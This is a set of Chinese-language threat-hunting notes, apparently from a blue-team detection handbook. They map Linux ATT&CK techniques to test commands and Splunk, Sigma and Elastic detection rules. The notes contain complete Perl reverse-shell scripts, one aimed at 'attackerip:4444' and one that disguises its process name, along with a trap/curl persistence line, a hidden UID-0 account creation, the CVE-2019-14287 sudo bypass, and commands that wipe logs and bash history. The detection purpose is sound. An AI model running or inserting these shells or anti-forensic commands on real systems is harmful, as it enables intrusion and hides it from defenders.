================================================
FILE: Linux/04执行/T1059-linux-通过Perl生成的交互式shell.md
================================================
# T1059-Linux-通过Perl生成的交互式shell
## 来自ATT&CK的描述
攻击者可能滥用命令和脚本解释器来执行命令、脚本或二进制文件。这些接口和语言提供了与计算机系统交互的方式,并且是许多不同平台的共同特征。大多数系统都带有一些内置的命令行界面和脚本功能,例如:macOS和Linux发行版包括一些Unix Shell,而Windows安装包括Windows Command Shell和PowerShell。
还有跨平台解释器,例如Python ,以及通常与客户端应用程序相关的解释器,例如JavaScript和Visual Basic。
攻击者可能会滥用Unix shell来执行各种命令或有效载荷。可以通过命令和控制通道或在横向移动期间(例如使用SSH)访问交互式外壳。攻击者还可以利用Shell脚本在受害者上传递或执行多个命令,或者作为用于持久性的有效载荷的一部分。
## 测试案例
通过Perl生成终端(tty)。攻击者可以将简单的反向shell升级为完全获得对主机的初始访问权限后的交互式tty。
```
bash
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# 用这条命令,唯一的不同是提示符变成了sh-4.1#,实现原理和前面的bash差不多
```
依赖于/bin/sh的shell:这条语句比上面的更为简短,而且确实不需要依赖/bin/sh
```
bash
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```
完整版的perl反弹shell脚本
```
perl
# !/usr/bin/perl -w
# perl-reverse-shell - A Reverse Shell implementation in PERL
use strict;
use Socket;
use FileHandle;
use POSIX;
my $VERSION = "1.0";
# Where to send the reverse shell. Change these.
my $ip = '127.0.0.1';
my $port = 1234;
# Options
my $daemon = 1;
my $auth = 0; # 0 means authentication is disabled and any
# source IP can access the reverse shell
my $authorised_client_pattern = qr(^127\.0\.0\.1$);
# Declarations
my $global_page = "";
my $fake_process_name = "/usr/sbin/apache";
# Change the process name to be less conspicious
$0 = "[httpd]";
# Authenticate based on source IP address if required
if (defined($ENV{'REMOTE_ADDR'})) {
cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");
if ($auth) {
unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
cgiprint("ERROR: Your client isn't authorised to view this page");
cgiexit();
}
}
} elsif ($auth) {
cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access");
cgiexit(0);
}
# Background and dissociate from parent process if required
if ($daemon) {
my $pid = fork();
if ($pid) {
cgiexit(0); # parent exits
}
setsid();
chdir('/');
umask(0);
}
# Make TCP connection for reverse shell
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
cgiprint("Sent reverse shell to $ip:$port");
cgiprintpage();
} else {
cgiprint("Couldn't open reverse shell to $ip:$port: $!");
cgiexit();
}
# Redirect STDIN, STDOUT and STDERR to the TCP connection
open(STDIN, ">&SOCK");
open(STDOUT,">&SOCK");
open(STDERR,">&SOCK");
$ENV{'HISTFILE'} = '/dev/null';
system("w;uname -a;id;pwd");
exec({"/bin/sh"} ($fake_process_name, "-i"));
# Wrapper around print
sub cgiprint {
my $line = shift;
$line .= "\n";
$global_page .= $line;
}
# Wrapper around exit
sub cgiexit {
cgiprintpage();
exit 0; # 0 to ensure we don't give a 500 response.
}
# Form HTTP response using all the messages gathered by cgiprint so far
sub cgiprintpage {
print "Content-Length: " . length($global_page) . "\r
Connection: close\r
Content-Type: text\/html\r\n\r\n" . $global_page;
}
```
## 检测日志
无
## 测试复现
无
## 测试留痕
无
## 检测规则/思路
### elastic
```
yml
query = '''
event.category:process and event.type:(start or process_started) and process.name:perl and
process.args:("exec \"/bin/sh\";" or "exec \"/bin/dash\";" or "exec \"/bin/bash\";")
'''
```
### 建议
对数据源要求较高,需要正确配置相关策略记录相关命令参数,才能够使用该规则。
## 参考推荐
MITRE-ATT&CK-T1059
Linux下反弹shell的种种方式
Interactive Terminal Spawned via Perl
================================================
FILE: Linux/04执行/T1154-linux-trap.md
================================================
# T1154-Linux-trap
## 来自ATT&CK的描述
该`trap`命令允许程序和shell指定在接收中断信号时将执行的命令。常见的情况是脚本允许正常终止和处理常见的键盘中断,如`ctrl+c`和`ctrl+d`。攻击者可以使用它来注册当shell遇到特定中断以执行或作为持久性机制时要执行的代码。陷阱命令具有以下格式`trap 'command list' signals`,其中当接收到“信号”时将执行“命令列表”。
## 测试案例
```
bash
trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh # 脚本即使在退出后(ctrl + c)也会继续执行程序/脚本。
trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh
```
关于trap、nohup命令的更多解释,你可以查看参考链接部分。
## 检测日志
bash历史命令
## 测试复现
```
bash
icbc@icbc:/$ trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh
> ^C
```
## 测试留痕
```
bash
icbc@icbc:/$ history
693 trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh
```
## 检测规则/思路
### splunk规则
index=linux sourcetype=bash_history "trap *" | table host,user_name,bash_command
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1154
linux下trap命令详解
linux下nohup命令浅析
================================================
FILE: Linux/05权限维持/T1098-004-linux-账户操纵-SSH Authorized Keys.md
================================================
# T1098-004-Linux-账户操纵-SSH Authorized Keys
## 来自ATT&CK的描述
攻击者可能会修改SSH `authorized_keys`文件来维持对目标主机的持久访问。 Linux发行版和macOS通常会对远程管理的SSH会话采用基于密钥的身份验证过程。SSH中的`authorized_keys`文件指定了登录用户账户(该文件就是为此账户而配置)需要用到的SSH密钥。此文件通常位于用户home目录中的`/.ssh/authorized_keys`下(引自:SSH Authorized Keys)。用户可能会编辑系统的SSH配置文件,将PubkeyAuthentication 和RSAAuthentication 设置为“yes”来启用公钥和RSA身份验证。SSH配置文件通常位于`/etc/ssh/sshd_config`下。
攻击者可能会直接通过脚本或shell命令修改SSH `authorized_keys`文件,添加他们自己提供的公共密钥。然后,拥有相应私钥的攻击者就可以通过SSH以现有用户身份登录(引自:Venafi SSH Key Abuse)(引自:Cybereason Linux Exim Worm)。
## 测试案例
### 通过写入SSH公钥在Linux系统上实现持久化
#### 攻击机生成公钥
首先在Kali攻击机生成公钥和私钥,其中id_rsa.pub为公钥,id_rsa为私钥。
```
bash
ssh-keygen -t rsa
```
#### 在靶机写入公钥
将kali攻击机中生成的公钥id_rsa.pub内容写入到靶机中
`echo "xxx" >> ~/.ssh/authorized_keys`
#### 攻击机实现免密码登录靶机
使用`ssh`命令直接连接靶机
`ssh root@10.255.30.21`
## 检测日志
无
## 测试复现
无
## 测试留痕
无
## 检测规则/思路
### 建议
使用文件完整性监控来检测系统上每个用户对`authorized_keys`文件所做的更改。监控可疑进程是否修改了`authorized_keys`文件。
监控修改`/etc/ssh/sshd_config`的更改和可疑进程。
## 相关TIP
[[Threathunting-book/5-权限维持/T1098-win-万能密码]]
[[Threathunting-book/5-权限维持/T1098-win-账户操作]]
[[T1098-win-AdminSDHolder]]
## 参考推荐
MITRE-ATT&CK-T1098-001
================================================
FILE: Linux/05权限维持/T1136-001-linux-创建账户.md
================================================
# T1136-001-Linux-创建用户
## 来自ATT&CK的描述
攻击者拥有足够的访问权限可以创建本地账户或者域账户。此类账户可以用于权限维持,持久性,不需要在系统上部署后门工具来实现权限维持。
这些Net user命令可用于创建本地或域账户。
## 测试案例
useradd -o -u 0 -g 0 -M -d / root -s / bin / bash#{用户名}
## 检测日志
/var/log/auth.log (如果可以的话,我更希望你能够使用audit日志进行检测,它会很方便)
## 测试复现
icbc@icbc:/$ sudo useradd -o -u 0 -g 0 -M -d /root -s /bin/bash abc(用户名)
icbc@icbc:/$ cat /etc/passwd
root: x:0:0:root:/root:/bin/bash
......
abc: x:0:0:root:/root:/bin/bash
## 测试留痕
icbc@icbc:/$sudo cat /var/log/auth.log
Aug 9 13:42:33 icbc sudo: icbc : TTY=pts/0 ; PWD=/ ; USER=root ; COMMAND=/usr/sbin/useradd -o -u 0 -g 0 -M -d /root -s /bin/bash abc
Aug 9 13:42:34 icbc sudo: pam_unix(sudo:session): session opened for user root by (uid=0)
Aug 9 13:42:34 icbc useradd[18979]: new user: name=abc, UID=0, GID=0, home=/root, shell=/bin/bash
## 检测规则/思路
```
audit
Root Account Creation: index=linux source="/var/log/auth.log" eventtype=useradd UID=0 OR GID=0
```
## 相关TIP
[[T1136-001-win-创建本地账户]]
## 参考推荐
MITRE-ATT&CK-T1136-001
linux命令详解之useradd命令使用方法
================================================
FILE: Linux/05权限维持/T1546-004-linux-.bash_profile and .bashrc.md
================================================
# T1546-004-Linux-.bash_profile和.bashrc
## 来自ATT&CK的描述
`~/.bash_profile`和.bashrc是在新shell打开时或用户登录时在用户的上下文中执行,以便正确设置其环境。为登录shell执行,并为交互式非登录shell执行。这意味着当用户(通过用户名和密码)登录到控制台(本地或通过SSH等远程登录)时,会在将初始命令提示符返回给用户之前执行。每次打开新的shell时都会执行。这允许用户在需要执行某些命令时进行更细粒度的控制。
这些文件是由本地用户编写的,用于配置自己的环境; 但是,每次用户登录或打开新的shell时,攻击者可以在这些文件中插入代码以获得持久性。
## 测试案例
echo“#{command_to_add}”>>〜/ .bashrc
echo“#{command_to_add}”>>〜/ .bash_profile
## 检测日志
linux audit日志 (值得注意的是:Ubuntu默认情况下没有audit,需要下载安装并配置相关策略)
bash历史记录
## 测试复现
暂无
## 测试留痕
linux_audit日志
type=SYSCALL msg=audit(1565526007.269:5543): arch=c000003e syscall=59 success=yes exit=0 a0=5637bba2a518 a1=5637bba32968 a2=5637bba30130 a3=fffffffffffff000 items=2 ppid=7724 pid=7725 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=3 comm="echo" exe="/usr/bin/echo" key="auditcmd"
type=EXECVE msg=audit(1565526007.269:5543): argc=2 a0="echo" a1="/home/icbc/1.sh"
type=CWD msg=audit(1565526007.269:5543): cwd="/home/icbc"
......
type=SYSCALL msg=audit(1565526021.625:5547): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=5610372c7240 a2=441 a3=1b6 items=2 ppid=4356 pid=7726 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=3 comm="bash" exe="/usr/bin/bash" key="bashrc_changes"
bash历史记录
icbc@icbc:~$ history
100 sudo echo "/home/icbc/1.sh">> ~/.bashrc
101 sudo echo "/home/icbc/1.sh">> ~/.bash_profile
## 检测规则/思路
### 基于audit检测
index = linux sourcetype = linux_audit bashrc_changes
值得注意的是你要手动配置自己的检测规则,如下:
- w /home/user/.bashrc -p wa -k bashrc_changes
- w /home/user/.bash_profile -p wa -k bashrc_changes
注意:我们需要为每个用户的bashrc和bash_profile文件添加审核规则。在audit规则中不接受正则表达式,所以我们无法创建这样的监视规则:/home/*/.bash_history
### 基于bash历史记录
index=linux sourcetype=bash_history bash_command="nano .bashrc" OR bash_command="vi .bashrc" OR echo .bashrc | table host,user_name,bash_command
index=linux sourcetype=bash_history bash_command="nano .bashrc_profile" OR bash_command="vi .bashrc_profile" OR echo .bashrc_profile | table host,user_name,bash_command
#### sigma检测规则
```
YML
title: 编辑修改.bash_profile和.bashrc
status: experimental
description: 检测用户环境的变化。攻击者可以在这些文件中插入代码,以便在每次用户登录或打开新shell时获得持久性。
references:
- 'MITRE Attack technique T1156; .bash_profile and .bashrc. '
date: 2019/05/12
tags:
- attack.s0003
- attack.t1156
- attack.persistence
- attack.t1546.004
author: Peter Matkovski
translator: 12306Bro
logsource:
product: linux
service: auditd #auditd 日志
detection:
selection:
type: 'PATH' #路径
name:
- '/home/*/.bashrc'
- '/home/*/.bash_profile'
- '/home/*/.profile'
- '/etc/profile'
- '/etc/shells'
- '/etc/bashrc'
- '/etc/csh.cshrc'
- '/etc/csh.login'
condition: selection
falsepositives:
- Admin or User activity
level: medium
```
## 参考推荐
MITRE-ATT&CK-T1546-004
================================================
FILE: Linux/05权限维持/T1548-001-linux-Setuid and Setgid.md
================================================
# T1548-001-Linux-Setuid and Setgid
## 来自ATT&CK的描述
攻击者可以使用setuid或setgid位执行shell转义或利用应用程序中的漏洞来获取在不同用户上下文中运行的代码。在Linux或macOS上,当为应用程序设置了setuid或setgid位时,该应用程序将分别以拥有用户或组的特权运行。通常,应用程序是在当前用户的上下文中运行的,而不管哪个用户或组拥有该应用程序。但是,在某些情况下,需要在提升权限的上下文中执行程序才能正常运行,但运行它们的用户不需要提升权限。
任何用户都可以为自己的应用程序设置setuid或setgid标志,而不必在sudoers文件中创建条目(必须由root用户完成)。通过查看文件属性时,这些位用“s”而不是“x”表示ls -l。该chmod程序能够经由bitmasking设置这些位与,chmod 4777 [file]或通过速记命名,chmod u+s [file]。
攻击者可以对自己的恶意软件使用此机制,以确保他们将来能够在提升的环境中执行。
### 关于Setuid and Setgid详解
文件权限的机制是Linux系统的一大特色,对于初学Linux的人对可读(r)、可写(w)、可执行(x)这都是比较基本的权限。一个文件的权限有十个位,分为三组来表示。第一个位为一组,表示文件的类型:
- :表示一般文件
d:表示目录文件
l:表示链接文件
b:表示块设备
c:表示字符设备
p:表示管道
s:表示套接字
但是Linux还有三个比较特殊的权限,分别是:setuid,setgid,stick bit (粘滞位)。
setuid: 设置使文件在执行阶段具有文件所有者的权限. 典型的文件是 /usr/bin/passwd. 如果一般用户执行该文件, 则在执行过程中, 该文件可以获得root权限, 从而可以更改用户的密码。
setgid: 该权限只对目录有效. 目录被设置该位后, 任何用户在此目录下创建的文件都具有和该目录所属的组相同的组。
stick bit: 该位可以理解为防删除位. 一个文件是否可以被某用户删除, 主要取决于该文件所属的组是否对该用户具有写权限. 如果没有写权限, 则这个目录下的所有文件都不能被删除, 同时也不能添加新的文件. 如果希望用户能够添加文件但同时不能删除文件, 则可以对文件使用stick bit位. 设置该位后, 就算用户对目录具有写权限, 也不能删除该文件。
## 测试案例
操作这些标志与操作文件权限的命令是一样的, 都是 chmod. 有两种方法来操作:
### 方法一
chmod u+s xxx # 设置setuid权限,加上setuid标志(setuid 只对文件有效)
chmod g+s xxx # 设置setgid权限,加上setgid标志 (setgid 只对目录有效)
chmod o+t xxx # 设置stick bit权限,针对目录
### 方法二
采用八进制方式. 对一般文件通过三组八进制数字来置标志, 如 666, 777, 644等. 如果设置这些特殊标志, 则在这组
数字之外外加一组八进制数字. 如4666, 2777等
chmod 4775 xxx # 设置setuid权限
chmod 2775 xxx # 设置setgid权限
chmod 1775 xxx # 设置stick bit权限,针对目录
在这里只讲第一位8进制代表权限
0: 不设置特殊权限
1:只设置sticky
2:只设置SGID
3:只设置SGID和sticky
4:只设置SUID
5:只设置SUID和sticky
6:只设置SUID和SGID
7:设置3种权限
设置完这些标志后, 可以用 ls -l 来查看. 如果有这些标志, 则会在原来的执行标志位置上显示。那么原来的执行标志x到哪里去了呢? 系统是这样规定的, 如果本来在该位上有x, 则这些特殊标志显示为小写字母 (s, s, t). 否则, 显示为大写字母 (S, S, T)。
注:在UNIX系统家族里,文件或目录权限的控制分别以读取,写入,执行3种一般权限来区分,另有3种特殊权限
可供运用,再搭配拥有者与所属群组管理权限范围。您可以使用chmod指令去变更文件与目录的权限,设置方式
采用文字或数字代号皆可。符号连接的权限无法变更,如果您对符号连接修改权限,其改变会作用在被连接的原始
文件。权限范围的表示法如下:
u:User,即文件或目录的拥有者。
g:Group,即文件或目录的所属群组。
o:Other,除了文件或目录拥有者或所属群组之外,其他用户皆属于这个范围。
a:All,即全部的用户,包含拥有者,所属群组以及其他用户。
有关权限代号的部分,列表于下:
r:读取权限,数字代号为"4"。
w:写入权限,数字代号为"2"。
x:执行或切换权限,数字代号为"1"。
- :不具任何权限,数字代号为"0"。
s:特殊?b>功能说明:变更文件或目录的权限。
## 检测日志
bash历史记录
## 测试复现
### 方法一/
icbc@icbc:/hacker$ ls -l
- rw-r--r-- 1 root root 0 7月 19 17:22 bas.txt
icbc@icbc:/hacker$ sudo chmod u+s bas.txt
icbc@icbc:/hacker$ ls -l
- rwSr--r-- 1 root root 0 7月 19 17:22 bas.txt
icbc@icbc:/hacker$ sudo chmod g+s bas.txt
icbc@icbc:/hacker$ ls -l
- rwSr-Sr-- 1 root root 0 7月 19 17:22 bas.txt
### 方法二/
icbc@icbc:/hacker$ ls -l
- rwxr-xr-x 1 root root 0 8月 28 15:16 admin.txt
icbc@icbc:/hacker$ sudo chmod 4777 admin.txt
icbc@icbc:/hacker$ ls -l
- rwsrwxrwx 1 root root 0 8月 28 15:16 admin.txt
icbc@icbc:/hacker$ sudo chmod 2777 admin.txt
icbc@icbc:/hacker$ ls -l
- rwxrwsrwx 1 root root 0 8月 28 15:16 admin.txt
## 测试留痕
### 方法一 /
icbc@icbc:/hacker$ history
650 chmod u+s bas.txt
651 sudo chmod u+s bas.txt
652 ls -l
653 sudo chmod g+s bas.txt
### 方法二 /
icbc@icbc:/hacker$ history
683 sudo chmod 4777 admin.txt
684 ls -l
685 sudo chmod 2777 admin.txt
## 检测规则/思路
splunk检测规则:index=linux sourcetype=bash_history "chmod `4***`" OR "chmod `2***`" OR "chmod u+s" OR "chmod g+s" | table host,user_name,bash_command
## 参考推荐
MITRE-ATT&CK-T1548-001
linux文件特殊权限
linux中chmod命令详解
linux下的chmod参数详解
================================================
FILE: Linux/06权限提升/T1548-003-linux-CVE-2019-14287.md
================================================
# T1548-003-Linux-CVE-2019-14287
## 来自ATT&CK的描述
sudoers文件`/etc/sudoers`描述了哪些用户可以运行哪些命令以及从哪些终端运行。这还描述了用户可以作为其他用户或组运行的命令。这提供了最小特权的概念,使得用户在大多数时间以最低可能的权限运行,并且仅在需要时提升到其他用户或权限,通常通过提示输入密码。但是,sudoers文件还可以指定何时不提示用户输入类似`user1 ALL=(ALL) NOPASSWD: ALL` [[1\]](https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/)的行的密码。
攻击者可以利用这些配置来执行其他用户的命令或生成具有更高权限的进程。您必须具有提升权限才能编辑此文件。
## 测试案例
**CVE-2019-14287**
如果将sudo配置为允许用户通过Runas规范中定义的ALL关键字来以任意用户身份运行命令的话,那么攻击者将有可能通过制定用户ID -1或4294967295来以root权限执行恶意命令。
当sudo被配置为 【允许用户基于Runas规范中定义的ALL关键字,以任意用户身份执行命令】时,可以通过指定特定的用户id(如-1或者4294967295)以root身份运行命令,尽管Runas规范中明确规范了禁止root访问,但只要Runas规范中优先出现了ALL关键字,具有足够sudo特权的用户就可以使用此命令以root身份运行命令
以这种方式运行的命令,日志会把用户id记录为4294967295,而非root。此外,PAM会话不会干预此命令的执行。
\#Runas规范:指sudo配置文件(一般为/etc/sudoers) 中定义的用户执行权限规则
\#PAM(可插入身份验证模块):PAM将程序开发与认证方式进行分离,程序在运行时调用附加的“认证”模块完成自己的工作。本地系统管理员通过配置选择要使用某种认证模块。
**影响版本**:sudo 1.8.28 以下版本
## 检测日志
linux auth.log日志,无需刻意配置。
模拟环境:ubuntu 19.04
## 测试复现
步骤如下:
1、创建普通用户账户;
2、切换root权限,修改/etc/sudoers 配置文件写入如下规则
```
dos
abc ALL = (ALL, !root) /usr/bin/vi
```
3、值得注意的是:你需要修改/etc/sudoers的读写权限,否则你无法对此文件进行写入。同时,在写入完成之后,你需要修改此文件的权限为只读
```
shell
chmod u+w /etc/sudoers (修改权限,默认只读)
chmod u-w /etc/sudoers (只读权限,很重要)
```
4、测试:执行sudo vi 无权限
执行sudo -u#-1 vi 突破限制成功以root身份执行
## 测试留痕
```
history
Oct 18 11:09:54 icbc sudo: test321 : TTY=pts/1 ; PWD=/ ; USER=#-1 ; COMMAND=/usr/bin/id
Oct 18 11:11:59 icbc sudo: test321 : TTY=pts/1 ; PWD=/ ; USER=#4294967295 ; COMMAND=/usr/bin/id
```
## 检测规则/思路
### sigma规则
```
yml
title: CVE-2019-14287 sudo 配置不当-权限提升
description: Ubuntu19.04 x64测试结果(当sudo配置为允许用户通过Runas规范中的ALL关键字以任意用户身份运行命令时,可以按通过指定用户ID-1或4294967295成为root用户。具有足够sudo特权的用户可以使用它来以root身份运行命令,即使Runas规范明确禁止root用户访问,只要在Runas规范
条件中首先列出ALL关键字即可)
references: https://sysdig.com/blog/detecting-cve-2019-14287/
tags: T1548-003
status: experimental
author: Blue team
logsource:
product: linux
detection:
selection:
proc.name: 'sudo:'
proc.USER:
- '#-1'
- '#4294967295'
condition: selection
level: medium
```
### 建议
暂无
## 缓解措施
目前主要影响以下版本:
sudo -V < 1.8.28
升级sudo版本至1.8.28以上
## 相关TIP
[[T1548-003-linux-Sudo]]
[[T1548-002-win-绕过用户账户控制-Eventvwr.exe(白名单)]]
[[T1548-003-linux-Sudo]]
## 参考推荐
MITRE-ATT&CK-T1548-003
检测CVE-2019-14287
================================================
FILE: Linux/06权限提升/T1548-003-linux-Sudo.md
================================================
# T1169-Linux-Sudo
## 来自ATT&CK的描述
sudoers文件`/etc/sudoers`描述了哪些用户可以运行哪些命令以及从哪些终端运行。这还描述了用户可以作为其他用户或组运行的命令。这提供了最小特权的概念,使得用户在大多数时间以最低可能的权限运行,并且仅在需要时提升到其他用户或权限,通常通过提示输入密码。但是,sudoers文件还可以指定何时不提示用户输入类似`user1 ALL=(ALL) NOPASSWD: ALL` [[1\]](https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/)的行的密码。
攻击者可以利用这些配置来执行其他用户的命令或生成具有更高权限的进程。您必须具有提升权限才能编辑此文件。
## 测试案例
cat /etc/sudoers
vim /etc/sudoers
值得注意的是:攻击者可以利用这些配置来执行其他用户的命令或生成具有更高权限的进程。您必须具有提升权限才能编辑此文件。
## 检测日志
linux audit日志 (值得注意的是:Ubuntu默认情况下没有audit,需要下载安装并配置相关策略)
## 测试复现
### 场景一
icbc@icbc:/$ sudo cat /etc/sudoers
### 场景二
icbc@icbc:/$ sudo vim /etc/sudoers
## 测试留痕
type=USER_CMD msg=audit(1563520773.609:436): pid=3530 uid=1000 auid=1000 ses=3 msg='cwd="/" cmd=636174202F6574632F7375646F657273 terminal=pts/0 res=success'
值得注意的是:这里只提取出了异常日志,故省略了很多日志细节。
## 检测规则/规则
### splunk规则
```
yml
index=linux sourcetype="linux_audit" sudoers_110
```
值得注意的是:你需要自行配置Audit审核规则:root@icbc:~# auditctl -w /etc/sudoers -p war -k sudoers_110
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1548-003
Audit配置手册
================================================
FILE: Linux/07逃避防御/T1027-005-linux-主机上的监测组件删除.md
================================================
# T1027-005-Linux-主机上的监测组件删除
## 来自ATT&CK的描述
攻击者可能会删除或更改主机系统上生成的记录,包括日志和可能捕获的文件,例如隔离的恶意软件。日志的位置和格式会有所不同,但攻击者的操作行为都会被操作系统进行记录,比如典型的windows日志、linux和Mac的bash历史记录或者/var/log下的日志文件。
攻击者干扰事件的记录,可以破坏安全设备的检测与告警,从而导致恶意攻击事件未被通报。由于缺乏足够的数据来确定发生的异常情况,还可能使安全人员的分析和事件响应更加困难。
## 测试案例
rm -rf /var/log/*
## 检测日志
linux audit日志 (值得注意的是:Ubuntu默认情况下没有audit,需要下载安装并配置相关策略)
bash历史记录
## 测试复现
icbc@icbc:/$ sudo rm -r /var/log/icbc.log
## 测试留痕
基于audit日志
暂无
基于bash历史记录
icbc@icbc:/$ history
20 sudo rm -r /var/log/icbc.log (注意这里删除的是测试log文件)
## 检测规则/思路
### splunk检测规则
#### 基于audit日志
index=linux sourcetype=linux_audit syscall=263 | table host,auid,uid,euid,exe,key
index=linux sourcetype=linux_audit type=PATH name=*.log nametype=delete
#### 基于bash历史记录
index=linux sourcetype="bash_history" rm * .log | table host, user_name, bash_command
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1027-005
================================================
FILE: Linux/07逃避防御/T1070-002-清除Linux或Mac系统日志.md
================================================
# T1070-002-Linux-清除Linux或Mac系统日志
## 来自ATT&CK的描述
攻击者可能会清除系统日志以隐藏入侵证据。macOS和Linux都通过系统日志跟踪系统或用户启动的操作。大多数本机系统日志记录存储在/var/log/目录。 此目录中的子文件夹按其相关功能对日志进行分类,例如:
- /var/log/messages::一般和系统相关的消息
- /var/log/secure或者/var/log/auth.log: 认证日志
- /var/log/utmp或者/var/log/wtmp: 登录记录
- /var/log/kern.log: 内核日志
- /var/log/cron.log: Cron 日志
- /var/log/maillog: 邮件服务器日志
- /var/log/httpd/: Web 服务器访问和错误日志
## 测试案例
删除/var/log/auth.log日志文件
## 检测日志
linux audit日志 (值得注意的是:Ubuntu默认情况下没有audit,需要下载安装并配置相关策略)
## 测试复现
```
bash
yyds@12306Br0:/var/log/audit$ sudo rm -r /var/log/auth.log
```
## 测试留痕
基于audit日志
```
yml
type=EXECVE msg=audit(1654605114.800:8206): argc=3 a0="rm" a1="-r" a2="/var/log/auth.log"
```
## 检测规则/思路
### elastic规则
```
yml
query = '''
file where event.type == "deletion" and
file.path :
(
"/var/run/utmp",
"/var/log/wtmp",
"/var/log/btmp",
"/var/log/lastlog",
"/var/log/faillog",
"/var/log/syslog",
"/var/log/messages",
"/var/log/secure",
"/var/log/auth.log"
)
```
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1070-002
defense_evasion_log_files_deleted
================================================
FILE: Linux/07逃避防御/T1070-003-linux-清除历史记录.md
================================================
# T1070-003-Linux-清除历史记录
## 来自ATT&CK的描述
macOS和Linux都会跟踪用户在终端中输入的命令,以便用户可以轻松记住他们所做的事情。可以通过几种不同的方式访问这些日志。用户在登录后,将在环境变量指向的文件中跟踪此命令历史记录HISTFILE。当用户注销系统时,此信息将更新到用户主目录中的文件中~/.bash_history。这样做的好处是它允许用户查看他们之前在不同会话中使用过的命令。由于保存了在命令行上输入的所有内容,因此也会保存在命令行上输入的密码。攻击者可以通过滥用此功能在这些文件中搜索明文密码。此外,攻击者可以使用的方法不同,你需要防止自己的历史记录中出现这些命令,例如unset HISTFILE、export HISTFILESIZE=0、history -c、rm ~/.bash_history。
## 测试案例
rm ~/.bash_history
echo " " > .bash_history
cat /dev/null > ~/.bash_history
ln -sf /dev/null ~/.bash_history
truncate -s0 ~/.bash_history
unset HISTFILE
export HISTFILESIZE=0
history -c
## 检测日志
linux audit日志 (值得注意的是:Ubuntu默认情况下没有audit,需要下载安装并配置相关策略)
bash历史记录
## 测试复现
icbc@icbc:~$ rm ~/.bash_history
## 测试留痕
基于audit日志
暂无
基于bash历史记录
icbc@icbc:~$ history
7 rm ~/.bash_history
## 检测规则/思路
### splunk规则
#### 基于audit日志
场景:rm -rf~ / .bash_history
index=linux sourcetype=linux_audit syscall=263 | table time,host,auid,uid,euid,exe,key
index=linux sourcetype=linux_audit type=PATH name=.bash_history nametype=delete | table time,name,nametype
场景:echo " " > .bash_history
index=linux sourcetype="linux_audit" bash_history_changes exe!=/home/ec2-user/splunk/bin/splunkd syscall=257 a2!=0 AND a3!=0 | table host,syscall,syscall_name,exe,auid
#### 基于bash历史记录
index=linux sourcetype="bash_history" "rm * .bash_history" #值得注意的是,这里只做了最简单的演示,比如history -c 是无法通过bash历史记录进行检测的!其他命令如何检测,你可以自行测试记录。
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1070-003
================================================
FILE: Linux/07逃避防御/T1070-004-linux-文件删除.md
================================================
# T1070-004-Linux-文件删除
## 来自ATT&CK的描述
攻击者在系统上删除或创建恶意软件、工具或其他非本机文件,可能会留下关于在主机上执行的操作以及操作方式的痕迹。作为入侵后清理过程的一部分,攻击者可能会在入侵过程中删除这些文件以保持其隐蔽性。
主机操作系统提供了可用于执行清理的工具,但攻击者也可以使用其他工具。示例包括本机cmd功能(如del),安全删除工具(如Windows Sysinternals SDelete)或其他第三方文件删除工具。
## 测试案例
rm -rf abc. text #强制删除abc.txt
rm -f abc.txt #强制删除abc.txt
shred -u abc.txt #彻底粉碎删除文件abc.txt
## 检测日志
linux audit日志 (值得注意的是:Ubuntu默认情况下没有audit,需要下载安装并配置相关策略)
bash历史记录
## 测试复现
icbc@icbc:~$ rm -r abc.txt
icbc@icbc:~$ shred -u abc.txt
## 测试留痕
基于audit日志
暂无
基于bash历史记录
```
bash
icbc@icbc:~$ history
650 rm -r abc.txt
654 shred -u abc.txt
```
## 检测规则/思路
### splunk规则
#### 基于audit日志
```
sql
index=linux sourcetype=linux_audit syscall=59 comm=shred | table host,auid,msg
index=linux sourcetype=linux_audit type=execve shred .bash_history | table host,msg,a0,a2
index=linux sourcetype=linux_audit syscall=263 | table host,auid,uid,eid,exe
index=linux sourcetype=linux_audit syscall=82 exe=/usr/bin/shred | table host,auid,uid,eid,exe
```
#### 基于bash历史记录
```
sql
index=linux sourcetype="bash_history" bash_command="rm *" OR bash_command="shred -u *"
```
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1070-004
linux下rm命令详解
================================================
FILE: Linux/07逃避防御/T1070-006-Linux-Timestamp.md
================================================
# T1070-006-Linux-Timestamp
## 来自ATT&CK的描述
Timestomping是一种修改文件时间(创建时间,修改时间)的技术,通常来将恶意文件和本文件夹其他的文件弄成相同的时间。
## 测试案例
具体参考下方测试复现过程(均需要拥有文件的所有权限)。主要涉及到touch命令的使用。
```
yml
sos@sos-pc:/$ touch --help
用法:touch [选项]... 文件...
